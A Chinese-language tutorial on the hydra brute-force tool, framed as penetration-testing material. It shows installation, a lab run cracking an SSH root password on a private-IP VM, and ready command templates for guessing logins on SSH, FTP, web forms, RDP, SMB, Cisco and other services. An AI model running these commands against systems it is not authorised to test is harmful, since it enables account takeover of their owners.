hydra简易破解教程
1、安装hydra
hydra是世界顶级密码暴力密码破解工具，支持几乎所有协议的在线密码破解，功能强大，其密码能否被破解关键取决于破解字典是否足够强大。在网络安全渗透过程中是一款必备的测试工具，配合社工库进行社会工程学攻击，有时会获得意想不到的效果。
系统是 centos7.4，其他发行版本都可以，用源码进行安装，先安装依赖库文件
yum install openssl-devel pcre-develncpfs-devel postgresql-devel libssh-devel subversion-devel python-devel libevent-devel
git clone https://github.com/vanhauser-thc/thc-hydra cd thc-hydra/ ./configure make make install
2、测试虚拟机
[root@localhost thc-hydra]# hydra 192.168.138.134 ssh -l root -P ../passwd.txt -V -o save.log
Hydra v9.1-dev (c) 2019 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2019-10-27 22:25:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[WARNING] Restorefile (you have 10 seconds to abort... (use option -I to skip waiting)) from a previous session found, to prevent overwriting, ./hydra.restore
[DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task
[DATA] attacking ssh://192.168.138.134:22/
[ATTEMPT] target 192.168.138.134 - login "root" - pass "123456" - 1 of 3 [child 0] (0/0)
[ATTEMPT] target 192.168.138.134 - login "root" - pass "123" - 2 of 3 [child 1] (0/0)
[ATTEMPT] target 192.168.138.134 - login "root" - pass "abc" - 3 of 3 [child 2] (0/0)
[22][ssh] host: 192.168.138.134 login: root password: 123456
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2019-10-27 22:25:18
3、参数示例
暴力破解：
hydra（九头蛇）
参数：
-R 继续从上一次进度接着破解
-S 大写，采用SSL链接
-s 小写，可通过这个参数指定非默认端口
-l 指定破解的用户，对特定用户破解
-L 指定用户名字典
-p 小写，指定密码破解，少用，一般是采用密码字典
-P 大写，指定密码字典
-e 可选选项，n：空密码试探，s：使用指定用户和密码试探
-C 使用冒号分割格式，例如“登录名:密码”来代替-L/-P参数
-M 指定目标列表文件一行一条
-o 指定结果输出文件
-f 在使用-M参数以后，找到第一对登录名或者密码的时候中止破解
-t 同时运行的线程数，默认为16
-w 设置最大超时的时间，单位秒，默认是30s
-v /-V显示详细过程
各协议的具体命令：
格式+示例：
1、破解ssh：
hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip ssh
hydra -l 用户名 -p 密码字典 -t 线程 -o save.log -vV ip ssh
2、破解ftp：
hydra ip ftp -L 用户名字典 -P 密码字典 -t 线程(默认16) -vV
hydra ip ftp -l 用户名 -P 密码字典 -e ns -vV
3、get方式提交，破解web登录：
hydra -L 用户名字典 -p 密码字典 -t 线程 -vV -e ns ip http-get/admin/
hydra -l 用户名 -p 密码字典 -t 线程 -vV -e ns -f ip http-get/admin/index.PHP
4、post方式提交，破解web登录：
hydra --L 用户名字典 -P 密码字典 -s 80 ip http-post-form"/admin/login.php:username=^USER^&password=^PASS^&submit=login:sorrypassword"
hydra -t 3 -l admin -P pass.txt -o out.txt -f 10.36.16.18 http-post-form"login.php:id=^USER^&passwd=^PASS^:wrong username orpassword "
参数说明：
-t同时线程数3，-l用户名是admin，字典pass.txt，保存为out.txt，-f 当破解了一个密码就停止，
10.36.16.18目标ip，http-post-form表示破解是采用http的post方式提交的表单密码破解,中的内容是表示错误猜解的返回信息提示
5、破解https：
hydra -m /index.php -l muts -P pass.txt 10.36.16.18 https
6、破解teamspeak：
hydra -L 用户名字典 -P 密码字典 -s 端口号 -vV ip teamspeak
7、破解cisco：
hydra -P pass.txt 10.36.16.18 cisco
hydra -m cloud -P pass.txt 10.36.16.18 cisco-enable
8、破解smb：
hydra -L 用户名字典 -P pass.txt 10.36.16.18 smb
9、破解pop3：
hydra -l muts -P pass.txt my.pop3.mail pop3
10、破解rdp：
hydra ip rdp -l administrator -P pass.txt -V
11、破解http-proxy：
hydra -l admin -P pass.txt http-proxy://10.36.16.18
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